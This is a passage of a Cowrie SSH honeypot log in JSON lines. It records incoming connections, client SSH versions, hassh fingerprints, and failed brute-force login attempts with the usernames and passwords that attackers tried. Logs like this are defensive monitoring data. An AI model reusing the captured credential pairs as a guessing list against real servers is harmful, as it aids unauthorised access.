ha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:48.014084Z","src_ip":"2.57.121.25","session":"8c019969532f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:48.344385Z","src_ip":"34.204.10.19","session":"8f7c49ebe5b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:48.349964Z","src_ip":"34.204.10.19","session":"8f7c49ebe5b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"01021983","message":"login attempt [user/01021983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:48.502610Z","src_ip":"2.57.121.25","session":"8c019969532f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"01011966","message":"login attempt [user/01011966] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:49.609179Z","src_ip":"2.57.121.25","session":"8c019969532f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"01011965","message":"login attempt [user/01011965] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:50.714639Z","src_ip":"2.57.121.25","session":"8c019969532f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"zhuan","message":"login attempt [user/zhuan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:51.820680Z","src_ip":"2.57.121.25","session":"8c019969532f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"ytngfhjkz","message":"login attempt [user/ytngfhjkz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:52.926605Z","src_ip":"2.57.121.25","session":"8c019969532f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:54.032796Z","src_ip":"2.57.121.25","session":"8c019969532f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:57:54.792793Z","src_ip":"34.204.10.19","session":"8f7c49ebe5b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":33812,"dst_ip":"159.203.135.109","dst_port":22,"session":"96948053c097","protocol":"ssh","message":"New connection: 195.178.110.218:33812 (159.203.135.109:22) [session: 96948053c097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:31.250879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:31.255400Z","src_ip":"195.178.110.218","session":"96948053c097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:31.335219Z","src_ip":"195.178.110.218","session":"96948053c097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:31.574180Z","src_ip":"195.178.110.218","session":"96948053c097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:32.656780Z","src_ip":"195.178.110.218","session":"96948053c097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":15194,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbdbb5bf8e9c","protocol":"ssh","message":"New connection: 2.57.121.112:15194 (10.17.0.5:22) [session: fbdbb5bf8e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:34.344856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:34.348931Z","src_ip":"2.57.121.112","session":"fbdbb5bf8e9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:34.452924Z","src_ip":"2.57.121.112","session":"fbdbb5bf8e9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29071973","message":"login attempt [admin/29071973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:34.942950Z","src_ip":"2.57.121.112","session":"fbdbb5bf8e9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29061973","message":"login attempt [admin/29061973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:36.049192Z","src_ip":"2.57.121.112","session":"fbdbb5bf8e9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29051996","message":"login attempt [admin/29051996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:37.154772Z","src_ip":"2.57.121.112","session":"fbdbb5bf8e9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290481","message":"login attempt [admin/290481] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:38.261370Z","src_ip":"2.57.121.112","session":"fbdbb5bf8e9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290185","message":"login attempt [admin/290185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:39.368695Z","src_ip":"2.57.121.112","session":"fbdbb5bf8e9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:40.475651Z","src_ip":"2.57.121.112","session":"fbdbb5bf8e9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.76.120.118","src_port":51236,"dst_ip":"159.203.135.109","dst_port":22,"session":"404c18aa81b9","protocol":"ssh","message":"New connection: 103.76.120.118:51236 (159.203.135.109:22) [session: 404c18aa81b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:52.967675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:52.970969Z","src_ip":"103.76.120.118","session":"404c18aa81b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:53.209193Z","src_ip":"103.76.120.118","session":"404c18aa81b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backupuser","password":"backupuser","message":"login attempt [backupuser/backupuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:54.193177Z","src_ip":"103.76.120.118","session":"404c18aa81b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:58:55.432924Z","src_ip":"103.76.120.118","session":"404c18aa81b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":46577,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f952e7539fa","protocol":"ssh","message":"New connection: 2.57.121.25:46577 (159.203.135.109:22) [session: 1f952e7539fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:01.543607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:01.548104Z","src_ip":"2.57.121.25","session":"1f952e7539fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:01.651337Z","src_ip":"2.57.121.25","session":"1f952e7539fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"01021983","message":"login attempt [user/01021983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:02.139500Z","src_ip":"2.57.121.25","session":"1f952e7539fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"01011966","message":"login attempt [user/01011966] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:03.245678Z","src_ip":"2.57.121.25","session":"1f952e7539fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"01011965","message":"login attempt [user/01011965] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:04.350916Z","src_ip":"2.57.121.25","session":"1f952e7539fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"zhuan","message":"login attempt [user/zhuan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:05.456744Z","src_ip":"2.57.121.25","session":"1f952e7539fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"ytngfhjkz","message":"login attempt [user/ytngfhjkz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:06.561730Z","src_ip":"2.57.121.25","session":"1f952e7539fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":54776,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7130c2cf3a1","protocol":"ssh","message":"New connection: 162.120.6.20:54776 (159.203.135.109:22) [session: f7130c2cf3a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:06.838322Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:06.909505Z","src_ip":"162.120.6.20","session":"f7130c2cf3a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":54780,"dst_ip":"159.203.135.109","dst_port":22,"session":"c51814984ea5","protocol":"ssh","message":"New connection: 162.120.6.20:54780 (159.203.135.109:22) [session: c51814984ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:06.976050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:06.980789Z","src_ip":"162.120.6.20","session":"c51814984ea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:07.050575Z","src_ip":"162.120.6.20","session":"c51814984ea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"password","message":"login attempt [username/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:07.258920Z","src_ip":"162.120.6.20","session":"c51814984ea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:07.667354Z","src_ip":"2.57.121.25","session":"1f952e7539fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:08.332894Z","src_ip":"162.120.6.20","session":"c51814984ea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":47308,"dst_ip":"159.203.135.109","dst_port":22,"session":"91517571ef3e","protocol":"ssh","message":"New connection: 5.75.240.121:47308 (159.203.135.109:22) [session: 91517571ef3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:41.285303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:41.289286Z","src_ip":"5.75.240.121","session":"91517571ef3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01